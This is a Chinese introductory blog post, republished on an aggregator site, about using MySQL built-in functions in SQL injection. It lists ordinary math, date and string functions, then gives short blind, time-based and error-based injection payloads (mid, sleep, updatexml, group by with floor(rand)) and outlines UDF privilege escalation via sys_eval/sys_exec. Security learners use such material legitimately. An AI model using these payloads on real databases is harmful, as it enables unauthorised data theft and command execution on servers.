经验首页 前端设计 程序设计 Java相关 移动开发 数据库/运维 软件/图像 大数据/云计算 其他经验
当前位置:技术经验 » 其他 » 网络安全 » 查看文章
数据库系统函数的注入利用(初识)
来源:cnblogs  作者:王宇阳  时间:2019/10/14 9:57:00  对本文有异议

数据库系统功能

MySQL系统自带函数

*更多函数:https://blog.csdn.net/qq646040754/article/details/82721801

数学函数:

bin(x)/hex(x) 返回x的二进制/十六进制编码

abs(x) x的绝对值

mod(x,y) 求余运算

sqrt(x) 平方根运算

ceil(x) / ceiling(x)

rand() 返回0~1之间的浮点数

round(x,D) 四舍五入保留D位小数

sign(x) 返回x的符号

pow(x,y) x的y次幂

exp(x) e的x次幂

floor(x) 返回小于或等于x的最大整数

count(x) 返回查询的记录总数

sum() 返回计算总和

日期函数

addate(d,n) 计算起始日期d加上n天的日期

addtime(t,n) 计算t加上n秒的时间

curdate() current_date()返回当前日期

curtime() current_time()返回当前时间

current_timestamp() localtime() now() sysdate() 返回日期和时间

字符串函数:

ascii(str) 返回字符串第一个字符的ASCII值

char_langth(str) 统计字符串的字符数

length(str) 返回str字符串的长度

insert(str,x,y,insert) 将字符串从x开始,y个字符长度替换为字符串insert

lpad(s1,len,s2) 在字符串s1的开始处填充字符串s2,使得长度达到len

rpad(s1,len,s2) 在字符串s1的结尾处填充字符串s2,使得长度达到len

ltrim(s)/rtrim(s) 删除字符串s的开始/结尾处的空格

locate(s1,s) 从字符串s中获取s1的开始位置

position(s1 in s2) 从字符串s中获取s1开始的位置

left(s,n)返回字符串s的前n个字符

right(s,n) 返回字符串s的后n个字符

mid(s,n,len),substring(s,n,len),substr(s,n,len) 从n位置字符串s截取len

concat(s1,s2,…)返回s1,s2连接的字符串

concat_ws(s1,s2,'char'^) 返回可自由添加分隔符的拼接字符串

lcase() lower() 字母小写转换

ucase(s) upper(s) 字母大写转换

field() 返回第一个字符串在字符串列表的位置

find_in_set(s1,s2) 返回字符串s1在字符串s2的匹配位置

repeat(s,n) 字符串s重复n次

reverse(s) 字符串反序

strcmp(s1,s2) 比较字符串s1,s2并返回比较结果

nullif(exp1,exp2) 比较两个字符串

formax(x,n) 对数字x进行格式化,将x保留到小数点后n位(四舍五入)

truncate(x,y) 返回数值x保留到小数点后y位的值,(不会四舍五入)

binary(s) 将字符串s转换为二进制字符串

特殊函数:

connection_id() 返回连接该数据库服务器 的ID

current_user() sssion_user system_user() user() 返回当前用户名

database() 返回当前数据库名

version() 返回数据库的版本号

@@version_compile_os 查看系统架构

@@version_compile_machine 查看mysql架构

@@datadir 查看数据的存储目录

函数的利用姿势:

length函数:判断长度

  1. select length(database());

count()函数:返回匹配指定条件的行数

  1. union select 1,count(*),3 from user;-- 查看当前表的数量

mid()函数:用于从字段中提取(一段)字符(布尔/时间/报错 盲注)

  1. and mid(user(),1,1)='r';
  1. and if(mid(user(),1,1)='r',sleep(2),1);
  1. and updatexml(1,mid(concat(0x7e,user()),1,5),1)

group by语句:结合聚合函数使用(报错注入)

  1. and (select 1 from(select count(*),concat(user(),0x7e,floor(rand(0)*2))x from information_schema.tables group bu x)a)

if(1,2,3):时间盲注

  1. select if(1=1,sleep(2),1)

MySQL执行系统命令

system 执行格式:

  1. mysql> system <linux命令>

UDF提权执行系统命令:

  • UDF是MySQL用户自定义的函数,

  • 要求:

    plugin目录具备读写权限

查看系统和MySQL架构

  1. select @@version_compile_os , @@version_compile_machine ;

UDF库需要放在MySQL的plugin文件中

  1. select @@plugin_dir;

自定义创建函数语法:

  1. create [aggregate] function <function_name> returns <string|integer|real> soname 'file_name';

AGGREGATE 表示聚合函数,系统定义的聚合函数有:count(),ave(),mn(),sum()

SONAME 表示这个函数从哪个文件中引入,这个文件一般是动态链接库,windows是dll,linux是so,并且这个文件再mysql的plugin目录下;

UDF支持的函数:

sys_eval 执行任意命令,并返回他的输出

sys_exec 执行任意命令,并返回他的退出代码

sys_get 获取环境变量的值

sys_set 创建环境变量或更新现有的环境变量的值

原文链接:http://www.cnblogs.com/wangyuyang1016/p/11666170.html

 友情链接:直通硅谷  点职佳  北美留学生论坛

本站QQ群:前端 618073944 | Java 606181507 | Python 626812652 | C/C++ 612253063 | 微信 634508462 | 苹果 692586424 | C#/.net 182808419 | PHP 305140648 | 运维 608723728

W3xue 的所有内容仅供测试,对任何法律问题及风险不承担任何责任。通过使用本站内容随之而来的风险与本站无关。
关于我们  |  意见建议  |  捐助我们  |  报错有奖  |  广告合作、友情链接(目前9元/月)请联系QQ:27243702 沸活量
皖ICP备17017327号-2 皖公网安备34020702000426号